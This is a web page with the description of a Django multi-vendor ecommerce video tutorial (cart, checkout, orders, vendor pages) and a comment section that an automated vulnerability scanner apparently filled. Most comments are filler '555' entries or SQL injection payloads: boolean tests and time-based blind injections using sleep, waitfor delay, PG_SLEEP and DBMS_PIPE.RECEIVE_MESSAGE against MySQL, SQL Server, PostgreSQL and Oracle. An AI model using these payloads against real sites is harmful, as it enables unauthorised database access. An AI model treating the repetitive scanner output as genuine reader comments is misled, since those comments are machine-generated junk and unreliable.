In this video, I will build the second part of the Django Ecommerce Website with multiple vendors. In this part we'll implement the whole cart functionality, the checkout and a few other small things.
Adding products to the cart 00:00:25
View the cart 00:13:42
Remove products from cart 00:21:25
Change quantity 00:23:50
Order models 00:25:45
Make it possible to checkout 00:31:30
Show orders in vendor admin area 00:51:00
Edit a vendor 00:58:00
Notifying the vendors and customers 01:02:10
Show list of vendors 01:08:30
Vendor detail view 01:12:00
Important links:
Git - https://github.com/SteinOveHelset/interiorshop
Code from part 2 - https://github.com/SteinOveHelset/interiorshop/releases/tag/part-2
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
-1 OR 2+482-482-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 09:00
-1 OR 2+413-413-1=0+0+0+1
EFSArCBy | Jul 02, 26 09:00
-1' OR 2+751-751-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 09:00
-1' OR 2+946-946-1=0+0+0+1 or '5XLoQc0U'='
EFSArCBy | Jul 02, 26 09:00
-1" OR 2+793-793-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 09:00
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 02, 26 09:00
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 02, 26 09:00
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 02, 26 09:00
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 02, 26 09:00
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 09:00
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 09:00
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 09:00
5550woJlGYK'; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 09:00
555-1 OR 143=(SELECT 143 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 09:00
555-1) OR 701=(SELECT 701 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 09:00
555-1)) OR 398=(SELECT 398 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 09:00
555zKGBTtdI' OR 644=(SELECT 644 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 09:00
555BUfdJ3jM') OR 321=(SELECT 321 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 09:00
555g6fQ4dHZ')) OR 181=(SELECT 181 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 09:00
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 02, 26 09:00
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555'"
EFSArCBy | Jul 02, 26 09:00
@@hCfFE
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
-1 OR 2+963-963-1=0+0+0+1 -- | Jul 02, 26 09:00
555
-1 OR 2+954-954-1=0+0+0+1 | Jul 02, 26 09:00
555
-1' OR 2+734-734-1=0+0+0+1 -- | Jul 02, 26 09:00
555
-1' OR 2+793-793-1=0+0+0+1 or 'osl0n697'=' | Jul 02, 26 09:00
555
-1" OR 2+934-934-1=0+0+0+1 -- | Jul 02, 26 09:00
555
if(now()=sysdate(),sleep(15),0) | Jul 02, 26 09:00
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 09:00
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 09:00
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 09:00
555
EFSArCBy7RAU98ep'; waitfor delay '0:0:15' -- | Jul 02, 26 09:00
555
EFSArCBylkzx55od' OR 844=(SELECT 844 FROM PG_SLEEP(15))-- | Jul 02, 26 09:00
555
EFSArCBy1XU6JRYS') OR 316=(SELECT 316 FROM PG_SLEEP(15))-- | Jul 02, 26 09:00
555
EFSArCBybQTVyGmy')) OR 628=(SELECT 628 FROM PG_SLEEP(15))-- | Jul 02, 26 09:00
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy'" | Jul 02, 26 09:00
555
@@YECos | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555